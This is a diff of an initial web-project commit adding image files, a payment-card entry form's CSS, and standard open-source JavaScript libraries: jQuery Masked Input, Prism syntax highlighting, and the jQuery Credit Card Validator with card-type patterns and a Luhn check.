initial commit
|
After Width: | Height: | Size: 15 KiB |
|
After Width: | Height: | Size: 106 KiB |
|
After Width: | Height: | Size: 84 KiB |
|
After Width: | Height: | Size: 15 KiB |
@@ -0,0 +1,7 @@
|
||||
/*
|
||||
jQuery Masked Input Plugin
|
||||
Copyright (c) 2007 - 2015 Josh Bush (digitalbush.com)
|
||||
Licensed under the MIT license (http://digitalbush.com/projects/masked-input-plugin/#license)
|
||||
Version: 1.4.1
|
||||
*/
|
||||
!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):a("object"==typeof exports?require("jquery"):jQuery)}(function(a){var b,c=navigator.userAgent,d=/iphone/i.test(c),e=/chrome/i.test(c),f=/android/i.test(c);a.mask={definitions:{9:"[0-9]",a:"[A-Za-z]","*":"[A-Za-z0-9]"},autoclear:!0,dataName:"rawMaskFn",placeholder:"_"},a.fn.extend({caret:function(a,b){var c;if(0!==this.length&&!this.is(":hidden"))return"number"==typeof a?(b="number"==typeof b?b:a,this.each(function(){this.setSelectionRange?this.setSelectionRange(a,b):this.createTextRange&&(c=this.createTextRange(),c.collapse(!0),c.moveEnd("character",b),c.moveStart("character",a),c.select())})):(this[0].setSelectionRange?(a=this[0].selectionStart,b=this[0].selectionEnd):document.selection&&document.selection.createRange&&(c=document.selection.createRange(),a=0-c.duplicate().moveStart("character",-1e5),b=a+c.text.length),{begin:a,end:b})},unmask:function(){return this.trigger("unmask")},mask:function(c,g){var h,i,j,k,l,m,n,o;if(!c&&this.length>0){h=a(this[0]);var p=h.data(a.mask.dataName);return p?p():void 0}return g=a.extend({autoclear:a.mask.autoclear,placeholder:a.mask.placeholder,completed:null},g),i=a.mask.definitions,j=[],k=n=c.length,l=null,a.each(c.split(""),function(a,b){"?"==b?(n--,k=a):i[b]?(j.push(new RegExp(i[b])),null===l&&(l=j.length-1),k>a&&(m=j.length-1)):j.push(null)}),this.trigger("unmask").each(function(){function h(){if(g.completed){for(var a=l;m>=a;a++)if(j[a]&&C[a]===p(a))return;g.completed.call(B)}}function p(a){return g.placeholder.charAt(a<g.placeholder.length?a:0)}function q(a){for(;++a<n&&!j[a];);return a}function r(a){for(;--a>=0&&!j[a];);return a}function s(a,b){var c,d;if(!(0>a)){for(c=a,d=q(b);n>c;c++)if(j[c]){if(!(n>d&&j[c].test(C[d])))break;C[c]=C[d],C[d]=p(d),d=q(d)}z(),B.caret(Math.max(l,a))}}function t(a){var b,c,d,e;for(b=a,c=p(a);n>b;b++)if(j[b]){if(d=q(b),e=C[b],C[b]=c,!(n>d&&j[d].test(e)))break;c=e}}function u(){var a=B.val(),b=B.caret();if(o&&o.length&&o.length>a.length){for(A(!0);b.begin>0&&!j[b.begin-1];)b.begin--;if(0===b.begin)for(;b.begin<l&&!j[b.begin];)b.begin++;B.caret(b.begin,b.begin)}else{for(A(!0);b.begin<n&&!j[b.begin];)b.begin++;B.caret(b.begin,b.begin)}h()}function v(){A(),B.val()!=E&&B.change()}function w(a){if(!B.prop("readonly")){var b,c,e,f=a.which||a.keyCode;o=B.val(),8===f||46===f||d&&127===f?(b=B.caret(),c=b.begin,e=b.end,e-c===0&&(c=46!==f?r(c):e=q(c-1),e=46===f?q(e):e),y(c,e),s(c,e-1),a.preventDefault()):13===f?v.call(this,a):27===f&&(B.val(E),B.caret(0,A()),a.preventDefault())}}function x(b){if(!B.prop("readonly")){var c,d,e,g=b.which||b.keyCode,i=B.caret();if(!(b.ctrlKey||b.altKey||b.metaKey||32>g)&&g&&13!==g){if(i.end-i.begin!==0&&(y(i.begin,i.end),s(i.begin,i.end-1)),c=q(i.begin-1),n>c&&(d=String.fromCharCode(g),j[c].test(d))){if(t(c),C[c]=d,z(),e=q(c),f){var k=function(){a.proxy(a.fn.caret,B,e)()};setTimeout(k,0)}else B.caret(e);i.begin<=m&&h()}b.preventDefault()}}}function y(a,b){var c;for(c=a;b>c&&n>c;c++)j[c]&&(C[c]=p(c))}function z(){B.val(C.join(""))}function A(a){var b,c,d,e=B.val(),f=-1;for(b=0,d=0;n>b;b++)if(j[b]){for(C[b]=p(b);d++<e.length;)if(c=e.charAt(d-1),j[b].test(c)){C[b]=c,f=b;break}if(d>e.length){y(b+1,n);break}}else C[b]===e.charAt(d)&&d++,k>b&&(f=b);return a?z():k>f+1?g.autoclear||C.join("")===D?(B.val()&&B.val(""),y(0,n)):z():(z(),B.val(B.val().substring(0,f+1))),k?b:l}var B=a(this),C=a.map(c.split(""),function(a,b){return"?"!=a?i[a]?p(b):a:void 0}),D=C.join(""),E=B.val();B.data(a.mask.dataName,function(){return a.map(C,function(a,b){return j[b]&&a!=p(b)?a:null}).join("")}),B.one("unmask",function(){B.off(".mask").removeData(a.mask.dataName)}).on("focus.mask",function(){if(!B.prop("readonly")){clearTimeout(b);var a;E=B.val(),a=A(),b=setTimeout(function(){B.get(0)===document.activeElement&&(z(),a==c.replace("?","").length?B.caret(0,a):B.caret(a))},10)}}).on("blur.mask",v).on("keydown.mask",w).on("keypress.mask",x).on("input.mask paste.mask",function(){B.prop("readonly")||setTimeout(function(){var a=A(!0);B.caret(a),h()},0)}),e&&f&&B.off("input.mask").on("input.mask",u),A()})}})});
|
||||
@@ -0,0 +1,195 @@
|
||||
/* http://meyerweb.com/eric/tools/css/reset/
|
||||
v2.0 | 20110126
|
||||
License: none (public domain)
|
||||
*/
|
||||
|
||||
|
||||
|
||||
form {
|
||||
margin: 0 auto 0;
|
||||
left: 0;
|
||||
|
||||
position: absolute;
|
||||
width: 95%;
|
||||
}
|
||||
form h2 {
|
||||
color: #555;
|
||||
font-family: "ff-dagny-web-pro", "Helvetica Neue", Verdana, Geneva, Arial, Helvetica, sans-serif;
|
||||
font-size: 16px;
|
||||
font-style: normal;
|
||||
margin-bottom: 0;
|
||||
text-align: left;
|
||||
}
|
||||
form li {
|
||||
margin: 2px 0;
|
||||
}
|
||||
form li .help {
|
||||
color: #aaa;
|
||||
display: block;
|
||||
font-size: 11px;
|
||||
font-weight: 400;
|
||||
line-height: 14px;
|
||||
padding-top: 14px;
|
||||
}
|
||||
form li .help a {
|
||||
color: #76a1cd;
|
||||
}
|
||||
form label {
|
||||
color: #555;
|
||||
|
||||
font-size: 12px;
|
||||
font-weight: 200;
|
||||
}
|
||||
form input {
|
||||
background-color: transparent;
|
||||
border-bottom: 1px solid #000;
|
||||
color: black;
|
||||
display: block;
|
||||
font-size: 14px;
|
||||
height: 32px;
|
||||
padding: 0 5px;
|
||||
width: 100%;
|
||||
text-align: left;
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
form input::-webkit-input-placeholder {
|
||||
color: #999999;
|
||||
}
|
||||
form input:-moz-placeholder {
|
||||
color: #999999;
|
||||
opacity: 1;
|
||||
}
|
||||
form input::-moz-placeholder {
|
||||
color: #999999;
|
||||
opacity: 1;
|
||||
}
|
||||
form input:-ms-input-placeholder {
|
||||
color: #999999;
|
||||
}
|
||||
form input:focus {
|
||||
border-bottom: 2px solid #007db7;
|
||||
}
|
||||
form #card_number {
|
||||
background-image: url(images/images.png), url(images/images.png);
|
||||
background-position: 2px -121px, 260px -61px;
|
||||
background-size: 120px 361px, 120px 361px;
|
||||
background-repeat: no-repeat;
|
||||
padding-left: 54px;
|
||||
|
||||
}
|
||||
form #card_number.visa {
|
||||
background-position: 2px -163px, 260px -61px;
|
||||
}
|
||||
form #card_number.visa_electron {
|
||||
background-position: 2px -205px, 260px -61px;
|
||||
}
|
||||
form #card_number.mastercard {
|
||||
background-position: 2px -247px, 260px -61px;
|
||||
}
|
||||
form #card_number.maestro {
|
||||
background-position: 2px -289px, 260px -61px;
|
||||
}
|
||||
form #card_number.discover {
|
||||
background-position: 2px -331px, 260px -61px;
|
||||
}
|
||||
form #card_number.valid.visa {
|
||||
background-position: 2px -163px, 260px -87px;
|
||||
}
|
||||
form #card_number.valid.visa_electron {
|
||||
background-position: 2px -205px, 260px -87px;
|
||||
}
|
||||
form #card_number.valid.mastercard {
|
||||
background-position: 2px -247px, 260px -87px;
|
||||
}
|
||||
form #card_number.valid.maestro {
|
||||
background-position: 2px -289px, 260px -87px;
|
||||
}
|
||||
form #card_number.valid.discover {
|
||||
background-position: 2px -331px, 260px -87px;
|
||||
}
|
||||
.vertical {
|
||||
overflow: hidden;
|
||||
}
|
||||
.vertical li {
|
||||
float: left;
|
||||
|
||||
}
|
||||
.vertical li .or {
|
||||
color: #aaa;
|
||||
float: left;
|
||||
font-size: 12px;
|
||||
margin-left: -8px;
|
||||
margin-top: 32px;
|
||||
}
|
||||
.vertical li:last-child {
|
||||
float: right;
|
||||
text-align: right;
|
||||
}
|
||||
.vertical li:last-child input {
|
||||
float: right;
|
||||
}
|
||||
.vertical input {
|
||||
width: 90%;
|
||||
}
|
||||
|
||||
.vertical select {
|
||||
width: 90%;
|
||||
}
|
||||
|
||||
|
||||
#card_number {
|
||||
-moz-appearance: textfield;
|
||||
}
|
||||
#card_number::-webkit-inner-spin-button {
|
||||
display: none;
|
||||
}
|
||||
|
||||
#cvv {
|
||||
-moz-appearance: textfield;
|
||||
}
|
||||
#cvv::-webkit-inner-spin-button {
|
||||
display: none;
|
||||
}
|
||||
|
||||
|
||||
form select {
|
||||
background-color: transparent;
|
||||
border-bottom: 1px solid #000;
|
||||
border-top: 1px solid transparent;
|
||||
border-left: 1px solid transparent;
|
||||
border-right: 1px solid transparent;
|
||||
color: #333;
|
||||
display: block;
|
||||
font-size: 16px;
|
||||
height: 32px;
|
||||
padding: 0 0px;
|
||||
width: 100%;
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box;
|
||||
}
|
||||
.slide {
|
||||
display: none;
|
||||
}
|
||||
body {
|
||||
background: url(bgbg.png) 100% no-repeat;
|
||||
background-size: cover;
|
||||
}
|
||||
body.background-two {
|
||||
background: url(bgbgw.png) no-repeat;
|
||||
}
|
||||
select{
|
||||
color: black;
|
||||
}
|
||||
select.unselected{
|
||||
color: #999999;
|
||||
}
|
||||
|
||||
select option:first-child{
|
||||
display: none;
|
||||
}
|
||||
@@ -0,0 +1,706 @@
|
||||
// Generated by CoffeeScript 1.8.0
|
||||
(function() {
|
||||
/* http://prismjs.com/download.html?themes=prism&languages=clike+javascript */
|
||||
var self = (typeof window !== 'undefined') ? window : {};
|
||||
|
||||
/**
|
||||
* Prism: Lightweight, robust, elegant syntax highlighting
|
||||
* MIT license http://www.opensource.org/licenses/mit-license.php/
|
||||
* @author Lea Verou http://lea.verou.me
|
||||
*/
|
||||
|
||||
var Prism = (function(){
|
||||
|
||||
// Private helper vars
|
||||
var lang = /\blang(?:uage)?-(?!\*)(\w+)\b/i;
|
||||
|
||||
var _ = self.Prism = {
|
||||
util: {
|
||||
encode: function (tokens) {
|
||||
if (tokens instanceof Token) {
|
||||
return new Token(tokens.type, _.util.encode(tokens.content));
|
||||
} else if (_.util.type(tokens) === 'Array') {
|
||||
return tokens.map(_.util.encode);
|
||||
} else {
|
||||
return tokens.replace(/&/g, '&').replace(/</g, '<').replace(/\u00a0/g, ' ');
|
||||
}
|
||||
},
|
||||
|
||||
type: function (o) {
|
||||
return Object.prototype.toString.call(o).match(/\[object (\w+)\]/)[1];
|
||||
},
|
||||
|
||||
// Deep clone a language definition (e.g. to extend it)
|
||||
clone: function (o) {
|
||||
var type = _.util.type(o);
|
||||
|
||||
switch (type) {
|
||||
case 'Object':
|
||||
var clone = {};
|
||||
|
||||
for (var key in o) {
|
||||
if (o.hasOwnProperty(key)) {
|
||||
clone[key] = _.util.clone(o[key]);
|
||||
}
|
||||
}
|
||||
|
||||
return clone;
|
||||
|
||||
case 'Array':
|
||||
return o.slice();
|
||||
}
|
||||
|
||||
return o;
|
||||
}
|
||||
},
|
||||
|
||||
languages: {
|
||||
extend: function (id, redef) {
|
||||
var lang = _.util.clone(_.languages[id]);
|
||||
|
||||
for (var key in redef) {
|
||||
lang[key] = redef[key];
|
||||
}
|
||||
|
||||
return lang;
|
||||
},
|
||||
|
||||
// Insert a token before another token in a language literal
|
||||
insertBefore: function (inside, before, insert, root) {
|
||||
root = root || _.languages;
|
||||
var grammar = root[inside];
|
||||
var ret = {};
|
||||
|
||||
for (var token in grammar) {
|
||||
|
||||
if (grammar.hasOwnProperty(token)) {
|
||||
|
||||
if (token == before) {
|
||||
|
||||
for (var newToken in insert) {
|
||||
|
||||
if (insert.hasOwnProperty(newToken)) {
|
||||
ret[newToken] = insert[newToken];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ret[token] = grammar[token];
|
||||
}
|
||||
}
|
||||
|
||||
return root[inside] = ret;
|
||||
},
|
||||
|
||||
// Traverse a language definition with Depth First Search
|
||||
DFS: function(o, callback) {
|
||||
for (var i in o) {
|
||||
callback.call(o, i, o[i]);
|
||||
|
||||
if (_.util.type(o) === 'Object') {
|
||||
_.languages.DFS(o[i], callback);
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
highlightAll: function(async, callback) {
|
||||
var elements = document.querySelectorAll('code[class*="language-"], [class*="language-"] code, code[class*="lang-"], [class*="lang-"] code');
|
||||
|
||||
for (var i=0, element; element = elements[i++];) {
|
||||
_.highlightElement(element, async === true, callback);
|
||||
}
|
||||
},
|
||||
|
||||
highlightElement: function(element, async, callback) {
|
||||
// Find language
|
||||
var language, grammar, parent = element;
|
||||
|
||||
while (parent && !lang.test(parent.className)) {
|
||||
parent = parent.parentNode;
|
||||
}
|
||||
|
||||
if (parent) {
|
||||
language = (parent.className.match(lang) || [,''])[1];
|
||||
grammar = _.languages[language];
|
||||
}
|
||||
|
||||
if (!grammar) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Set language on the element, if not present
|
||||
element.className = element.className.replace(lang, '').replace(/\s+/g, ' ') + ' language-' + language;
|
||||
|
||||
// Set language on the parent, for styling
|
||||
parent = element.parentNode;
|
||||
|
||||
if (/pre/i.test(parent.nodeName)) {
|
||||
parent.className = parent.className.replace(lang, '').replace(/\s+/g, ' ') + ' language-' + language;
|
||||
}
|
||||
|
||||
var code = element.textContent;
|
||||
|
||||
if(!code) {
|
||||
return;
|
||||
}
|
||||
|
||||
var env = {
|
||||
element: element,
|
||||
language: language,
|
||||
grammar: grammar,
|
||||
code: code
|
||||
};
|
||||
|
||||
_.hooks.run('before-highlight', env);
|
||||
|
||||
if (async && self.Worker) {
|
||||
var worker = new Worker(_.filename);
|
||||
|
||||
worker.onmessage = function(evt) {
|
||||
env.highlightedCode = Token.stringify(JSON.parse(evt.data), language);
|
||||
|
||||
_.hooks.run('before-insert', env);
|
||||
|
||||
env.element.innerHTML = env.highlightedCode;
|
||||
|
||||
callback && callback.call(env.element);
|
||||
_.hooks.run('after-highlight', env);
|
||||
};
|
||||
|
||||
worker.postMessage(JSON.stringify({
|
||||
language: env.language,
|
||||
code: env.code
|
||||
}));
|
||||
}
|
||||
else {
|
||||
env.highlightedCode = _.highlight(env.code, env.grammar, env.language)
|
||||
|
||||
_.hooks.run('before-insert', env);
|
||||
|
||||
env.element.innerHTML = env.highlightedCode;
|
||||
|
||||
callback && callback.call(element);
|
||||
|
||||
_.hooks.run('after-highlight', env);
|
||||
}
|
||||
},
|
||||
|
||||
highlight: function (text, grammar, language) {
|
||||
var tokens = _.tokenize(text, grammar);
|
||||
return Token.stringify(_.util.encode(tokens), language);
|
||||
},
|
||||
|
||||
tokenize: function(text, grammar, language) {
|
||||
var Token = _.Token;
|
||||
|
||||
var strarr = [text];
|
||||
|
||||
var rest = grammar.rest;
|
||||
|
||||
if (rest) {
|
||||
for (var token in rest) {
|
||||
grammar[token] = rest[token];
|
||||
}
|
||||
|
||||
delete grammar.rest;
|
||||
}
|
||||
|
||||
tokenloop: for (var token in grammar) {
|
||||
if(!grammar.hasOwnProperty(token) || !grammar[token]) {
|
||||
continue;
|
||||
}
|
||||
|
||||
var pattern = grammar[token],
|
||||
inside = pattern.inside,
|
||||
lookbehind = !!pattern.lookbehind,
|
||||
lookbehindLength = 0;
|
||||
|
||||
pattern = pattern.pattern || pattern;
|
||||
|
||||
for (var i=0; i<strarr.length; i++) { // Don’t cache length as it changes during the loop
|
||||
|
||||
var str = strarr[i];
|
||||
|
||||
if (strarr.length > text.length) {
|
||||
// Something went terribly wrong, ABORT, ABORT!
|
||||
break tokenloop;
|
||||
}
|
||||
|
||||
if (str instanceof Token) {
|
||||
continue;
|
||||
}
|
||||
|
||||
pattern.lastIndex = 0;
|
||||
|
||||
var match = pattern.exec(str);
|
||||
|
||||
if (match) {
|
||||
if(lookbehind) {
|
||||
lookbehindLength = match[1].length;
|
||||
}
|
||||
|
||||
var from = match.index - 1 + lookbehindLength,
|
||||
match = match[0].slice(lookbehindLength),
|
||||
len = match.length,
|
||||
to = from + len,
|
||||
before = str.slice(0, from + 1),
|
||||
after = str.slice(to + 1);
|
||||
|
||||
var args = [i, 1];
|
||||
|
||||
if (before) {
|
||||
args.push(before);
|
||||
}
|
||||
|
||||
var wrapped = new Token(token, inside? _.tokenize(match, inside) : match);
|
||||
|
||||
args.push(wrapped);
|
||||
|
||||
if (after) {
|
||||
args.push(after);
|
||||
}
|
||||
|
||||
Array.prototype.splice.apply(strarr, args);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return strarr;
|
||||
},
|
||||
|
||||
hooks: {
|
||||
all: {},
|
||||
|
||||
add: function (name, callback) {
|
||||
var hooks = _.hooks.all;
|
||||
|
||||
hooks[name] = hooks[name] || [];
|
||||
|
||||
hooks[name].push(callback);
|
||||
},
|
||||
|
||||
run: function (name, env) {
|
||||
var callbacks = _.hooks.all[name];
|
||||
|
||||
if (!callbacks || !callbacks.length) {
|
||||
return;
|
||||
}
|
||||
|
||||
for (var i=0, callback; callback = callbacks[i++];) {
|
||||
callback(env);
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
var Token = _.Token = function(type, content) {
|
||||
this.type = type;
|
||||
this.content = content;
|
||||
};
|
||||
|
||||
Token.stringify = function(o, language, parent) {
|
||||
if (typeof o == 'string') {
|
||||
return o;
|
||||
}
|
||||
|
||||
if (Object.prototype.toString.call(o) == '[object Array]') {
|
||||
return o.map(function(element) {
|
||||
return Token.stringify(element, language, o);
|
||||
}).join('');
|
||||
}
|
||||
|
||||
var env = {
|
||||
type: o.type,
|
||||
content: Token.stringify(o.content, language, parent),
|
||||
tag: 'span',
|
||||
classes: ['token', o.type],
|
||||
attributes: {},
|
||||
language: language,
|
||||
parent: parent
|
||||
};
|
||||
|
||||
if (env.type == 'comment') {
|
||||
env.attributes['spellcheck'] = 'true';
|
||||
}
|
||||
|
||||
_.hooks.run('wrap', env);
|
||||
|
||||
var attributes = '';
|
||||
|
||||
for (var name in env.attributes) {
|
||||
attributes += name + '="' + (env.attributes[name] || '') + '"';
|
||||
}
|
||||
|
||||
return '<' + env.tag + ' class="' + env.classes.join(' ') + '" ' + attributes + '>' + env.content + '</' + env.tag + '>';
|
||||
|
||||
};
|
||||
|
||||
if (!self.document) {
|
||||
if (!self.addEventListener) {
|
||||
// in Node.js
|
||||
return self.Prism;
|
||||
}
|
||||
// In worker
|
||||
self.addEventListener('message', function(evt) {
|
||||
var message = JSON.parse(evt.data),
|
||||
lang = message.language,
|
||||
code = message.code;
|
||||
|
||||
self.postMessage(JSON.stringify(_.tokenize(code, _.languages[lang])));
|
||||
self.close();
|
||||
}, false);
|
||||
|
||||
return self.Prism;
|
||||
}
|
||||
|
||||
// Get current script and highlight
|
||||
var script = document.getElementsByTagName('script');
|
||||
|
||||
script = script[script.length - 1];
|
||||
|
||||
if (script) {
|
||||
_.filename = script.src;
|
||||
|
||||
if (document.addEventListener && !script.hasAttribute('data-manual')) {
|
||||
document.addEventListener('DOMContentLoaded', _.highlightAll);
|
||||
}
|
||||
}
|
||||
|
||||
return self.Prism;
|
||||
|
||||
})();
|
||||
|
||||
if (typeof module !== 'undefined' && module.exports) {
|
||||
module.exports = Prism;
|
||||
}
|
||||
;
|
||||
Prism.languages.clike = {
|
||||
'comment': {
|
||||
pattern: /(^|[^\\])(\/\*[\w\W]*?\*\/|(^|[^:])\/\/.*?(\r?\n|$))/g,
|
||||
lookbehind: true
|
||||
},
|
||||
'string': /("|')(\\?.)*?\1/g,
|
||||
'class-name': {
|
||||
pattern: /((?:(?:class|interface|extends|implements|trait|instanceof|new)\s+)|(?:catch\s+\())[a-z0-9_\.\\]+/ig,
|
||||
lookbehind: true,
|
||||
inside: {
|
||||
punctuation: /(\.|\\)/
|
||||
}
|
||||
},
|
||||
'keyword': /\b(if|else|while|do|for|return|in|instanceof|function|new|try|throw|catch|finally|null|break|continue)\b/g,
|
||||
'boolean': /\b(true|false)\b/g,
|
||||
'function': {
|
||||
pattern: /[a-z0-9_]+\(/ig,
|
||||
inside: {
|
||||
punctuation: /\(/
|
||||
}
|
||||
},
|
||||
'number': /\b-?(0x[\dA-Fa-f]+|\d*\.?\d+([Ee]-?\d+)?)\b/g,
|
||||
'operator': /[-+]{1,2}|!|<=?|>=?|={1,3}|&{1,2}|\|?\||\?|\*|\/|\~|\^|\%/g,
|
||||
'ignore': /&(lt|gt|amp);/gi,
|
||||
'punctuation': /[{}[\];(),.:]/g
|
||||
};
|
||||
;
|
||||
Prism.languages.javascript = Prism.languages.extend('clike', {
|
||||
'keyword': /\b(break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|false|finally|for|function|get|if|implements|import|in|instanceof|interface|let|new|null|package|private|protected|public|return|set|static|super|switch|this|throw|true|try|typeof|var|void|while|with|yield)\b/g,
|
||||
'number': /\b-?(0x[\dA-Fa-f]+|\d*\.?\d+([Ee]-?\d+)?|NaN|-?Infinity)\b/g
|
||||
});
|
||||
|
||||
Prism.languages.insertBefore('javascript', 'keyword', {
|
||||
'regex': {
|
||||
pattern: /(^|[^/])\/(?!\/)(\[.+?]|\\.|[^/\r\n])+\/[gim]{0,3}(?=\s*($|[\r\n,.;})]))/g,
|
||||
lookbehind: true
|
||||
}
|
||||
});
|
||||
|
||||
if (Prism.languages.markup) {
|
||||
Prism.languages.insertBefore('markup', 'tag', {
|
||||
'script': {
|
||||
pattern: /<script[\w\W]*?>[\w\W]*?<\/script>/ig,
|
||||
inside: {
|
||||
'tag': {
|
||||
pattern: /<script[\w\W]*?>|<\/script>/ig,
|
||||
inside: Prism.languages.markup.tag.inside
|
||||
},
|
||||
rest: Prism.languages.javascript
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
;
|
||||
// Generated by CoffeeScript 1.8.0
|
||||
|
||||
/*
|
||||
jQuery Credit Card Validator 1.0
|
||||
|
||||
Copyright 2012-2015 Pawel Decowski
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software
|
||||
is furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included
|
||||
in all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
|
||||
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||
IN THE SOFTWARE.
|
||||
*/
|
||||
|
||||
(function() {
|
||||
var $,
|
||||
__indexOf = [].indexOf || function(item) { for (var i = 0, l = this.length; i < l; i++) { if (i in this && this[i] === item) return i; } return -1; };
|
||||
|
||||
$ = jQuery;
|
||||
|
||||
$.fn.validateCreditCard = function(callback, options) {
|
||||
var bind, card, card_type, card_types, get_card_type, is_valid_length, is_valid_luhn, normalize, validate, validate_number, _i, _len, _ref;
|
||||
card_types = [
|
||||
{
|
||||
name: 'amex',
|
||||
pattern: /^3[47]/,
|
||||
valid_length: [15]
|
||||
}, {
|
||||
name: 'diners_club_carte_blanche',
|
||||
pattern: /^30[0-5]/,
|
||||
valid_length: [14]
|
||||
}, {
|
||||
name: 'diners_club_international',
|
||||
pattern: /^36/,
|
||||
valid_length: [14]
|
||||
}, {
|
||||
name: 'jcb',
|
||||
pattern: /^35(2[89]|[3-8][0-9])/,
|
||||
valid_length: [16]
|
||||
}, {
|
||||
name: 'laser',
|
||||
pattern: /^(6304|670[69]|6771)/,
|
||||
valid_length: [16, 17, 18, 19]
|
||||
}, {
|
||||
name: 'visa_electron',
|
||||
pattern: /^(4026|417500|4508|4844|491(3|7))/,
|
||||
valid_length: [16]
|
||||
}, {
|
||||
name: 'visa',
|
||||
pattern: /^4/,
|
||||
valid_length: [16]
|
||||
}, {
|
||||
name: 'mastercard',
|
||||
pattern: /^5[1-5]/,
|
||||
valid_length: [16]
|
||||
}, {
|
||||
name: 'maestro',
|
||||
pattern: /^(5018|5020|5038|6304|6759|676[1-3])/,
|
||||
valid_length: [12, 13, 14, 15, 16, 17, 18, 19]
|
||||
}, {
|
||||
name: 'discover',
|
||||
pattern: /^(6011|622(12[6-9]|1[3-9][0-9]|[2-8][0-9]{2}|9[0-1][0-9]|92[0-5]|64[4-9])|65)/,
|
||||
valid_length: [16]
|
||||
}
|
||||
];
|
||||
bind = false;
|
||||
if (callback) {
|
||||
if (typeof callback === 'object') {
|
||||
options = callback;
|
||||
bind = false;
|
||||
callback = null;
|
||||
} else if (typeof callback === 'function') {
|
||||
bind = true;
|
||||
}
|
||||
}
|
||||
if (options == null) {
|
||||
options = {};
|
||||
}
|
||||
if (options.accept == null) {
|
||||
options.accept = (function() {
|
||||
var _i, _len, _results;
|
||||
_results = [];
|
||||
for (_i = 0, _len = card_types.length; _i < _len; _i++) {
|
||||
card = card_types[_i];
|
||||
_results.push(card.name);
|
||||
}
|
||||
return _results;
|
||||
})();
|
||||
}
|
||||
_ref = options.accept;
|
||||
for (_i = 0, _len = _ref.length; _i < _len; _i++) {
|
||||
card_type = _ref[_i];
|
||||
if (__indexOf.call((function() {
|
||||
var _j, _len1, _results;
|
||||
_results = [];
|
||||
for (_j = 0, _len1 = card_types.length; _j < _len1; _j++) {
|
||||
card = card_types[_j];
|
||||
_results.push(card.name);
|
||||
}
|
||||
return _results;
|
||||
})(), card_type) < 0) {
|
||||
throw "Credit card type '" + card_type + "' is not supported";
|
||||
}
|
||||
}
|
||||
get_card_type = function(number) {
|
||||
var _j, _len1, _ref1;
|
||||
_ref1 = (function() {
|
||||
var _k, _len1, _ref1, _results;
|
||||
_results = [];
|
||||
for (_k = 0, _len1 = card_types.length; _k < _len1; _k++) {
|
||||
card = card_types[_k];
|
||||
if (_ref1 = card.name, __indexOf.call(options.accept, _ref1) >= 0) {
|
||||
_results.push(card);
|
||||
}
|
||||
}
|
||||
return _results;
|
||||
})();
|
||||
for (_j = 0, _len1 = _ref1.length; _j < _len1; _j++) {
|
||||
card_type = _ref1[_j];
|
||||
if (number.match(card_type.pattern)) {
|
||||
return card_type;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
};
|
||||
is_valid_luhn = function(number) {
|
||||
var digit, n, sum, _j, _len1, _ref1;
|
||||
sum = 0;
|
||||
_ref1 = number.split('').reverse();
|
||||
for (n = _j = 0, _len1 = _ref1.length; _j < _len1; n = ++_j) {
|
||||
digit = _ref1[n];
|
||||
digit = +digit;
|
||||
if (n % 2) {
|
||||
digit *= 2;
|
||||
if (digit < 10) {
|
||||
sum += digit;
|
||||
} else {
|
||||
sum += digit - 9;
|
||||
}
|
||||
} else {
|
||||
sum += digit;
|
||||
}
|
||||
}
|
||||
return sum % 10 === 0;
|
||||
};
|
||||
is_valid_length = function(number, card_type) {
|
||||
var _ref1;
|
||||
return _ref1 = number.length, __indexOf.call(card_type.valid_length, _ref1) >= 0;
|
||||
};
|
||||
validate_number = (function(_this) {
|
||||
return function(number) {
|
||||
var length_valid, luhn_valid;
|
||||
card_type = get_card_type(number);
|
||||
luhn_valid = false;
|
||||
length_valid = false;
|
||||
if (card_type != null) {
|
||||
luhn_valid = is_valid_luhn(number);
|
||||
length_valid = is_valid_length(number, card_type);
|
||||
}
|
||||
return {
|
||||
card_type: card_type,
|
||||
valid: luhn_valid && length_valid,
|
||||
luhn_valid: luhn_valid,
|
||||
length_valid: length_valid
|
||||
};
|
||||
};
|
||||
})(this);
|
||||
validate = (function(_this) {
|
||||
return function() {
|
||||
var number;
|
||||
number = normalize($(_this).val());
|
||||
return validate_number(number);
|
||||
};
|
||||
})(this);
|
||||
normalize = function(number) {
|
||||
return number.replace(/[ -]/g, '');
|
||||
};
|
||||
if (!bind) {
|
||||
return validate();
|
||||
}
|
||||
this.on('input.jccv', (function(_this) {
|
||||
return function() {
|
||||
$(_this).off('keyup.jccv');
|
||||
return callback.call(_this, validate());
|
||||
};
|
||||
})(this));
|
||||
this.on('keyup.jccv', (function(_this) {
|
||||
return function() {
|
||||
return callback.call(_this, validate());
|
||||
};
|
||||
})(this));
|
||||
callback.call(this, validate());
|
||||
return this;
|
||||
};
|
||||
|
||||
}).call(this);
|
||||
$(function() {
|
||||
$('.demo .numbers li').wrapInner('<a href="#"></a>').click(function(e) {
|
||||
e.preventDefault();
|
||||
$('.demo .numbers').slideUp(100);
|
||||
return $('#card_number').val($(this).text()).trigger('input');
|
||||
});
|
||||
